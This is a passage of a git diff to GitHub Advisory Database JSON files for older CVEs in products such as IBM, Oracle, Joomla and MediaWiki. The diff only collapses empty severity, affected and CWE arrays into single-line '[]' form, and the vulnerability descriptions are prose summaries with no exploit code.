b/advisories/unreviewed/2022/05/GHSA-jwcq-7v6p-m9w6/GHSA-jwcq-7v6p-m9w6.json @@ -7,12 +7,8 @@ "CVE-2013-5373" ], "details": "The RemoteClient component in IBM Rational ClearCase 8.0.0.03 through 8.0.0.07, and 8.0.1, uses world-writable permissions for the rcleartool script, which allows local users to gain privileges by appending commands.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-jx2c-g5jx-5fj7/GHSA-jx2c-g5jx-5fj7.json b/advisories/unreviewed/2022/05/GHSA-jx2c-g5jx-5fj7/GHSA-jx2c-g5jx-5fj7.json index bcc4195eeec..19c6db0229d 100644 --- a/advisories/unreviewed/2022/05/GHSA-jx2c-g5jx-5fj7/GHSA-jx2c-g5jx-5fj7.json +++ b/advisories/unreviewed/2022/05/GHSA-jx2c-g5jx-5fj7/GHSA-jx2c-g5jx-5fj7.json @@ -7,12 +7,8 @@ "CVE-2013-3978" ], "details": "The Meeting Server in IBM Sametime 8.5.2 through 8.5.2.1 and 9.x through 9.0.0.1 does not send the appropriate HTTP response headers to prevent unwanted caching by a web browser, which allows remote attackers to obtain sensitive information by leveraging an unattended workstation.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-jxr4-q6fr-35cx/GHSA-jxr4-q6fr-35cx.json b/advisories/unreviewed/2022/05/GHSA-jxr4-q6fr-35cx/GHSA-jxr4-q6fr-35cx.json index 317f59aa696..601f2ccf255 100644 --- a/advisories/unreviewed/2022/05/GHSA-jxr4-q6fr-35cx/GHSA-jxr4-q6fr-35cx.json +++ b/advisories/unreviewed/2022/05/GHSA-jxr4-q6fr-35cx/GHSA-jxr4-q6fr-35cx.json @@ -7,12 +7,8 @@ "CVE-2014-0665" ], "details": "The RBAC implementation in Cisco Identity Services Engine (ISE) Software does not properly verify privileges for support-bundle downloads, which allows remote authenticated users to obtain sensitive information via a download action, as demonstrated by obtaining read access to the user database, aka Bug ID CSCul83904.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-m2hm-f4mr-r66g/GHSA-m2hm-f4mr-r66g.json b/advisories/unreviewed/2022/05/GHSA-m2hm-f4mr-r66g/GHSA-m2hm-f4mr-r66g.json index b220cad157e..d632d2c2dbe 100644 --- a/advisories/unreviewed/2022/05/GHSA-m2hm-f4mr-r66g/GHSA-m2hm-f4mr-r66g.json +++ b/advisories/unreviewed/2022/05/GHSA-m2hm-f4mr-r66g/GHSA-m2hm-f4mr-r66g.json @@ -7,12 +7,8 @@ "CVE-2005-4650" ], "details": "Joomla! 1.03 does not restrict the number of \"Search\" Mambots, which allows remote attackers to cause a denial of service (resource consumption) via a large number of Search Mambots.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m3c8-3887-j763/GHSA-m3c8-3887-j763.json b/advisories/unreviewed/2022/05/GHSA-m3c8-3887-j763/GHSA-m3c8-3887-j763.json index 416d438e492..2198991a898 100644 --- a/advisories/unreviewed/2022/05/GHSA-m3c8-3887-j763/GHSA-m3c8-3887-j763.json +++ b/advisories/unreviewed/2022/05/GHSA-m3c8-3887-j763/GHSA-m3c8-3887-j763.json @@ -7,12 +7,8 @@ "CVE-2013-6047" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the site creation interface in ikiwiki-hosting before 0.20131025 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m65m-xrgm-j736/GHSA-m65m-xrgm-j736.json b/advisories/unreviewed/2022/05/GHSA-m65m-xrgm-j736/GHSA-m65m-xrgm-j736.json index 976f8e30231..d1123673097 100644 --- a/advisories/unreviewed/2022/05/GHSA-m65m-xrgm-j736/GHSA-m65m-xrgm-j736.json +++ b/advisories/unreviewed/2022/05/GHSA-m65m-xrgm-j736/GHSA-m65m-xrgm-j736.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m6qf-5rqp-4cqv/GHSA-m6qf-5rqp-4cqv.json b/advisories/unreviewed/2022/05/GHSA-m6qf-5rqp-4cqv/GHSA-m6qf-5rqp-4cqv.json index 11127da805d..affcbe2e0b3 100644 --- a/advisories/unreviewed/2022/05/GHSA-m6qf-5rqp-4cqv/GHSA-m6qf-5rqp-4cqv.json +++ b/advisories/unreviewed/2022/05/GHSA-m6qf-5rqp-4cqv/GHSA-m6qf-5rqp-4cqv.json @@ -7,12 +7,8 @@ "CVE-2013-5316" ], "details": "Cross-site request forgery (CSRF) vulnerability in RiteCMS 1.0.0 allows remote attackers to hijack the authentication of administrators for requests that change the administrator password via an edit user action to cms/index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m76g-jmxw-8v24/GHSA-m76g-jmxw-8v24.json b/advisories/unreviewed/2022/05/GHSA-m76g-jmxw-8v24/GHSA-m76g-jmxw-8v24.json index 49b3316c7eb..650d169f841 100644 --- a/advisories/unreviewed/2022/05/GHSA-m76g-jmxw-8v24/GHSA-m76g-jmxw-8v24.json +++ b/advisories/unreviewed/2022/05/GHSA-m76g-jmxw-8v24/GHSA-m76g-jmxw-8v24.json @@ -7,12 +7,8 @@ "CVE-2013-4302" ], "details": "(1) ApiBlock.php, (2) ApiCreateAccount.php, (3) ApiLogin.php, (4) ApiMain.php, (5) ApiQueryDeletedrevs.php, (6) ApiTokens.php, and (7) ApiUnblock.php in includes/api/ in MediaWiki 1.19.x before 1.19.8, 1.20.x before 1.20.7, and 1.21.x before 1.21.2 allow remote attackers to obtain CSRF tokens and bypass the cross-site request forgery (CSRF) protection mechanism via a JSONP request to wiki/api.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -60,9 +56,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-m7fg-273r-qgjr/GHSA-m7fg-273r-qgjr.json b/advisories/unreviewed/2022/05/GHSA-m7fg-273r-qgjr/GHSA-m7fg-273r-qgjr.json index 3ae076e6f25..ab78d348e2c 100644 --- a/advisories/unreviewed/2022/05/GHSA-m7fg-273r-qgjr/GHSA-m7fg-273r-qgjr.json +++ b/advisories/unreviewed/2022/05/GHSA-m7fg-273r-qgjr/GHSA-m7fg-273r-qgjr.json @@ -7,12 +7,8 @@ "CVE-2013-6873" ], "details": "SQL injection vulnerability in Testa Online Test Management System (OTMS) 2.0.0.2 allows remote attackers to execute arbitrary SQL commands via the test_id parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m843-mrw3-f2mr/GHSA-m843-mrw3-f2mr.json b/advisories/unreviewed/2022/05/GHSA-m843-mrw3-f2mr/GHSA-m843-mrw3-f2mr.json index 24f083c8b48..69fddfb2163 100644 --- a/advisories/unreviewed/2022/05/GHSA-m843-mrw3-f2mr/GHSA-m843-mrw3-f2mr.json +++ b/advisories/unreviewed/2022/05/GHSA-m843-mrw3-f2mr/GHSA-m843-mrw3-f2mr.json @@ -7,12 +7,8 @@ "CVE-2013-4147" ], "details": "Multiple format string vulnerabilities in Yet Another Radius Daemon (YARD RADIUS) 1.1.2 allow context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via format string specifiers in a request in the (1) log_msg function in log.c or (2) version or (3) build_version function in version.c.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m852-f856-5p6q/GHSA-m852-f856-5p6q.json b/advisories/unreviewed/2022/05/GHSA-m852-f856-5p6q/GHSA-m852-f856-5p6q.json index 471a0ef78d4..620b73d03b7 100644 --- a/advisories/unreviewed/2022/05/GHSA-m852-f856-5p6q/GHSA-m852-f856-5p6q.json +++ b/advisories/unreviewed/2022/05/GHSA-m852-f856-5p6q/GHSA-m852-f856-5p6q.json @@ -7,12 +7,8 @@ "CVE-2013-5403" ], "details": "Unspecified vulnerability on the IBM WebSphere DataPower XC10 appliance 2.0 through 2.5.0.1 allows remote attackers to obtain administrative access via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-m87x-r8q9-jm9c/GHSA-m87x-r8q9-jm9c.json b/advisories/unreviewed/2022/05/GHSA-m87x-r8q9-jm9c/GHSA-m87x-r8q9-jm9c.json index 8ad71fa4556..0ee797ecb84 100644 --- a/advisories/unreviewed/2022/05/GHSA-m87x-r8q9-jm9c/GHSA-m87x-r8q9-jm9c.json +++ b/advisories/unreviewed/2022/05/GHSA-m87x-r8q9-jm9c/GHSA-m87x-r8q9-jm9c.json @@ -7,12 +7,8 @@ "CVE-2013-6467" ], "details": "Libreswan 3.7 and earlier allows remote attackers to cause a denial of service (NULL pointer dereference and IKE daemon restart) via IKEv2 packets that lack expected payloads.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-m8h9-h2wq-5r2r/GHSA-m8h9-h2wq-5r2r.json b/advisories/unreviewed/2022/05/GHSA-m8h9-h2wq-5r2r/GHSA-m8h9-h2wq-5r2r.json index 44dbb7f83d7..f830df32abc 100644 --- a/advisories/unreviewed/2022/05/GHSA-m8h9-h2wq-5r2r/GHSA-m8h9-h2wq-5r2r.json +++ b/advisories/unreviewed/2022/05/GHSA-m8h9-h2wq-5r2r/GHSA-m8h9-h2wq-5r2r.json @@ -7,12 +7,8 @@ "CVE-2013-7254" ], "details": "Cross-site scripting (XSS) vulnerability in Opsview before 4.4.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-m922-pq7v-w824/GHSA-m922-pq7v-w824.json b/advisories/unreviewed/2022/05/GHSA-m922-pq7v-w824/GHSA-m922-pq7v-w824.json index bb2282de364..edc79bf627c 100644 --- a/advisories/unreviewed/2022/05/GHSA-m922-pq7v-w824/GHSA-m922-pq7v-w824.json +++ b/advisories/unreviewed/2022/05/GHSA-m922-pq7v-w824/GHSA-m922-pq7v-w824.json @@ -7,12 +7,8 @@ "CVE-2013-4680" ], "details": "Open redirect vulnerability in Maag Form Captcha extension 2.0.0 and earlier for TYPO3 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-m9h4-p64h-2qfh/GHSA-m9h4-p64h-2qfh.json b/advisories/unreviewed/2022/05/GHSA-m9h4-p64h-2qfh/GHSA-m9h4-p64h-2qfh.json index f5848949562..c865326263a 100644 --- a/advisories/unreviewed/2022/05/GHSA-m9h4-p64h-2qfh/GHSA-m9h4-p64h-2qfh.json +++ b/advisories/unreviewed/2022/05/GHSA-m9h4-p64h-2qfh/GHSA-m9h4-p64h-2qfh.json @@ -7,12 +7,8 @@ "CVE-2013-4947" ], "details": "Unspecified vulnerability in the update and build database page in Sawmill before 8.6.3 allows remote attackers to have unknown impact and attack vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mc6j-7v8c-c3gv/GHSA-mc6j-7v8c-c3gv.json b/advisories/unreviewed/2022/05/GHSA-mc6j-7v8c-c3gv/GHSA-mc6j-7v8c-c3gv.json index f32192a85e6..0c8315bbd47 100644 --- a/advisories/unreviewed/2022/05/GHSA-mc6j-7v8c-c3gv/GHSA-mc6j-7v8c-c3gv.json +++ b/advisories/unreviewed/2022/05/GHSA-mc6j-7v8c-c3gv/GHSA-mc6j-7v8c-c3gv.json @@ -7,12 +7,8 @@ "CVE-2013-3772" ], "details": "Unspecified vulnerability in the Oracle WebCenter Content component in Oracle Fusion Middleware 10.1.3.5.1, 11.1.1.6.0, and 11.1.1.7.0 allows remote attackers to affect integrity via unknown vectors related to Web Forms.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mcc7-7pvv-pxmp/GHSA-mcc7-7pvv-pxmp.json b/advisories/unreviewed/2022/05/GHSA-mcc7-7pvv-pxmp/GHSA-mcc7-7pvv-pxmp.json index aaecd59edc2..deb01f7fb9b 100644 --- a/advisories/unreviewed/2022/05/GHSA-mcc7-7pvv-pxmp/GHSA-mcc7-7pvv-pxmp.json +++ b/advisories/unreviewed/2022/05/GHSA-mcc7-7pvv-pxmp/GHSA-mcc7-7pvv-pxmp.json @@ -7,12 +7,8 @@ "CVE-2013-6318" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mcf9-3hx5-x5wc/GHSA-mcf9-3hx5-x5wc.json b/advisories/unreviewed/2022/05/GHSA-mcf9-3hx5-x5wc/GHSA-mcf9-3hx5-x5wc.json index 9a6cee99b3d..1854931dcf9 100644 --- a/advisories/unreviewed/2022/05/GHSA-mcf9-3hx5-x5wc/GHSA-mcf9-3hx5-x5wc.json +++ b/advisories/unreviewed/2022/05/GHSA-mcf9-3hx5-x5wc/GHSA-mcf9-3hx5-x5wc.json @@ -7,12 +7,8 @@ "CVE-2013-6013" ], "details": "Buffer overflow in the flow daemon (flowd) in Juniper Junos 10.4 before 10.4S14, 11.4 before 11.4R7-S2, 12.1.X44 before 12.1X44-D15, 12.1X45 before 12.1X45-D10 on SRX devices, when using telnet pass-through authentication on the firewall, might allow remote attackers to execute arbitrary code via a crafted telnet message.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mfhj-8xj6-jfpv/GHSA-mfhj-8xj6-jfpv.json b/advisories/unreviewed/2022/05/GHSA-mfhj-8xj6-jfpv/GHSA-mfhj-8xj6-jfpv.json index 0787f35cab2..8fb799d5777 100644 --- a/advisories/unreviewed/2022/05/GHSA-mfhj-8xj6-jfpv/GHSA-mfhj-8xj6-jfpv.json +++ b/advisories/unreviewed/2022/05/GHSA-mfhj-8xj6-jfpv/GHSA-mfhj-8xj6-jfpv.json @@ -7,12 +7,8 @@ "CVE-2013-5411" ], "details": "IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 allow remote attackers to inject links and trigger unintended navigation or actions via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mfhw-fvhp-65f7/GHSA-mfhw-fvhp-65f7.json b/advisories/unreviewed/2022/05/GHSA-mfhw-fvhp-65f7/GHSA-mfhw-fvhp-65f7.json index 4e4116f255b..437c3a13c03 100644 --- a/advisories/unreviewed/2022/05/GHSA-mfhw-fvhp-65f7/GHSA-mfhw-fvhp-65f7.json +++ b/advisories/unreviewed/2022/05/GHSA-mfhw-fvhp-65f7/GHSA-mfhw-fvhp-65f7.json @@ -7,12 +7,8 @@ "CVE-2013-5317" ], "details": "Cross-site scripting (XSS) vulnerability in RiteCMS 1.0.0 allows remote authenticated users to inject arbitrary web script or HTML via the mode parameter to cms/index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mfp6-gh9x-4495/GHSA-mfp6-gh9x-4495.json b/advisories/unreviewed/2022/05/GHSA-mfp6-gh9x-4495/GHSA-mfp6-gh9x-4495.json index 983d223cb8d..ff4b1ede0c7 100644 --- a/advisories/unreviewed/2022/05/GHSA-mfp6-gh9x-4495/GHSA-mfp6-gh9x-4495.json +++ b/advisories/unreviewed/2022/05/GHSA-mfp6-gh9x-4495/GHSA-mfp6-gh9x-4495.json @@ -7,12 +7,8 @@ "CVE-2013-3778" ], "details": "Unspecified vulnerability in the Oracle Applications Technology Stack component in Oracle E-Business Suite 12.0.6 and 12.1.3 allows remote attackers to affect integrity via unknown vectors related to Help.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mgjm-4m2c-j536/GHSA-mgjm-4m2c-j536.json b/advisories/unreviewed/2022/05/GHSA-mgjm-4m2c-j536/GHSA-mgjm-4m2c-j536.json index af952359573..88e63adf9aa 100644 --- a/advisories/unreviewed/2022/05/GHSA-mgjm-4m2c-j536/GHSA-mgjm-4m2c-j536.json +++ b/advisories/unreviewed/2022/05/GHSA-mgjm-4m2c-j536/GHSA-mgjm-4m2c-j536.json @@ -7,12 +7,8 @@ "CVE-2013-3773" ], "details": "Unspecified vulnerability in the SPARC Enterprise M Series Servers component in Oracle and Sun Systems Products Suite XCP 1114 and earlier allows remote attackers to affect availability via vectors related to XSCF Control Package (XCP).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mh9f-g72r-hf94/GHSA-mh9f-g72r-hf94.json b/advisories/unreviewed/2022/05/GHSA-mh9f-g72r-hf94/GHSA-mh9f-g72r-hf94.json index acdc8b077fc..28a72c3dd16 100644 --- a/advisories/unreviewed/2022/05/GHSA-mh9f-g72r-hf94/GHSA-mh9f-g72r-hf94.json +++ b/advisories/unreviewed/2022/05/GHSA-mh9f-g72r-hf94/GHSA-mh9f-g72r-hf94.json @@ -7,12 +7,8 @@ "CVE-2013-5387" ], "details": "Buffer overflow in IBM Platform Symphony 5.2, 6.1, and 6.1.1 allows remote attackers to cause a denial of service (process crash or hang) via a malformed SOAP request with a large amount of request data.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mhgw-v4wc-27xp/GHSA-mhgw-v4wc-27xp.json b/advisories/unreviewed/2022/05/GHSA-mhgw-v4wc-27xp/GHSA-mhgw-v4wc-27xp.json index 92f48a1d3e5..e22d629bf0e 100644 --- a/advisories/unreviewed/2022/05/GHSA-mhgw-v4wc-27xp/GHSA-mhgw-v4wc-27xp.json +++ b/advisories/unreviewed/2022/05/GHSA-mhgw-v4wc-27xp/GHSA-mhgw-v4wc-27xp.json @@ -7,12 +7,8 @@ "CVE-2013-5953" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in tmpl/layout_editevent.php in the Multi Calendar (com_multicalendar) component 4.0.2, and possibly 4.8.5 and earlier, for Joomla! allow remote attackers to inject arbitrary web script or HTML via the (1) calid or (2) paletteDefault parameter in an editevent action to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mhr8-498r-9j55/GHSA-mhr8-498r-9j55.json b/advisories/unreviewed/2022/05/GHSA-mhr8-498r-9j55/GHSA-mhr8-498r-9j55.json index 70506313010..53af957e6c3 100644 --- a/advisories/unreviewed/2022/05/GHSA-mhr8-498r-9j55/GHSA-mhr8-498r-9j55.json +++ b/advisories/unreviewed/2022/05/GHSA-mhr8-498r-9j55/GHSA-mhr8-498r-9j55.json @@ -7,12 +7,8 @@ "CVE-2013-4565" ], "details": "Heap-based buffer overflow in the __OLEdecode function in ppthtml 0.5.1 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted .ppt file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mj2q-jjfm-w2rq/GHSA-mj2q-jjfm-w2rq.json b/advisories/unreviewed/2022/05/GHSA-mj2q-jjfm-w2rq/GHSA-mj2q-jjfm-w2rq.json index 66bcb0b8b8f..5fa48772e52 100644 --- a/advisories/unreviewed/2022/05/GHSA-mj2q-jjfm-w2rq/GHSA-mj2q-jjfm-w2rq.json +++ b/advisories/unreviewed/2022/05/GHSA-mj2q-jjfm-w2rq/GHSA-mj2q-jjfm-w2rq.json @@ -7,12 +7,8 @@ "CVE-2013-4128" ], "details": "Red Hat JBoss Enterprise Application Platform (EAP) 6.1.0 does not properly cache EJB invocations by remote-naming, which allows remote attackers to hijack sessions by using a remoting client.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mmcc-cm64-327w/GHSA-mmcc-cm64-327w.json b/advisories/unreviewed/2022/05/GHSA-mmcc-cm64-327w/GHSA-mmcc-cm64-327w.json index 57b2cb5d27b..9417fc3e05c 100644 --- a/advisories/unreviewed/2022/05/GHSA-mmcc-cm64-327w/GHSA-mmcc-cm64-327w.json +++ b/advisories/unreviewed/2022/05/GHSA-mmcc-cm64-327w/GHSA-mmcc-cm64-327w.json @@ -7,12 +7,8 @@ "CVE-2013-5751" ], "details": "Directory traversal vulnerability in SAP NetWeaver 7.x allows remote attackers to read arbitrary files via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mpjr-82qf-w9wf/GHSA-mpjr-82qf-w9wf.json b/advisories/unreviewed/2022/05/GHSA-mpjr-82qf-w9wf/GHSA-mpjr-82qf-w9wf.json index 48108e00874..f00abbc5e51 100644 --- a/advisories/unreviewed/2022/05/GHSA-mpjr-82qf-w9wf/GHSA-mpjr-82qf-w9wf.json +++ b/advisories/unreviewed/2022/05/GHSA-mpjr-82qf-w9wf/GHSA-mpjr-82qf-w9wf.json @@ -7,12 +7,8 @@ "CVE-2013-7184" ], "details": "Gretech GOM Media Player 2.2.56.5158 and earlier allows remote attackers to cause a denial of service (memory corruption) via a crafted AVI file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mpm5-xc4h-vg3f/GHSA-mpm5-xc4h-vg3f.json b/advisories/unreviewed/2022/05/GHSA-mpm5-xc4h-vg3f/GHSA-mpm5-xc4h-vg3f.json index e514fafb41c..5f6c63c35ad 100644 --- a/advisories/unreviewed/2022/05/GHSA-mpm5-xc4h-vg3f/GHSA-mpm5-xc4h-vg3f.json +++ b/advisories/unreviewed/2022/05/GHSA-mpm5-xc4h-vg3f/GHSA-mpm5-xc4h-vg3f.json @@ -7,12 +7,8 @@ "CVE-2013-5438" ], "details": "Cross-site scripting (XSS) vulnerability in the web server in IBM Flex System Manager (FSM) 1.1.0 through 1.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mq83-cmp5-2xv5/GHSA-mq83-cmp5-2xv5.json b/advisories/unreviewed/2022/05/GHSA-mq83-cmp5-2xv5/GHSA-mq83-cmp5-2xv5.json index b844bb157bb..a27c9c00f73 100644 --- a/advisories/unreviewed/2022/05/GHSA-mq83-cmp5-2xv5/GHSA-mq83-cmp5-2xv5.json +++ b/advisories/unreviewed/2022/05/GHSA-mq83-cmp5-2xv5/GHSA-mq83-cmp5-2xv5.json @@ -7,12 +7,8 @@ "CVE-2013-5398" ], "details": "Unspecified vulnerability in the Webservice Axis Gateway in IBM Rational Focal Point 6.4 before devfix1, 6.4.1.3 before devfix1, 6.5.1 before devfix1, 6.5.2 before devfix4, 6.5.2.3 before devfix9, 6.6 before devfix5, 6.6.0.1 before devfix2, and 6.6.1 allows remote attackers to bypass intended access restrictions and obtain sensitive information via unspecified vectors, a different vulnerability than CVE-2013-5397.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-mqmr-46gm-2w7q/GHSA-mqmr-46gm-2w7q.json b/advisories/unreviewed/2022/05/GHSA-mqmr-46gm-2w7q/GHSA-mqmr-46gm-2w7q.json index b2b48f9658f..52856b44146 100644 --- a/advisories/unreviewed/2022/05/GHSA-mqmr-46gm-2w7q/GHSA-mqmr-46gm-2w7q.json +++ b/advisories/unreviewed/2022/05/GHSA-mqmr-46gm-2w7q/GHSA-mqmr-46gm-2w7q.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mr29-23f3-hm53/GHSA-mr29-23f3-hm53.json b/advisories/unreviewed/2022/05/GHSA-mr29-23f3-hm53/GHSA-mr29-23f3-hm53.json index fb7cb67dbdc..53c0c26738e 100644 --- a/advisories/unreviewed/2022/05/GHSA-mr29-23f3-hm53/GHSA-mr29-23f3-hm53.json +++ b/advisories/unreviewed/2022/05/GHSA-mr29-23f3-hm53/GHSA-mr29-23f3-hm53.json @@ -7,12 +7,8 @@ "CVE-2013-5304" ], "details": "SQL injection vulnerability in the Store Locator (locator) extension before 3.1.5 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-mr4j-37m6-h3xw/GHSA-mr4j-37m6-h3xw.json b/advisories/unreviewed/2022/05/GHSA-mr4j-37m6-h3xw/GHSA-mr4j-37m6-h3xw.json index 22a6d96f26b..d7de4d09336 100644 --- a/advisories/unreviewed/2022/05/GHSA-mr4j-37m6-h3xw/GHSA-mr4j-37m6-h3xw.json +++ b/advisories/unreviewed/2022/05/GHSA-mr4j-37m6-h3xw/GHSA-mr4j-37m6-h3xw.json @@ -7,12 +7,8 @@ "CVE-2013-3753" ], "details": "Unspecified vulnerability in Oracle Solaris 11 allows remote attackers to affect availability via vectors related to Kernel/STREAMS framework.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git 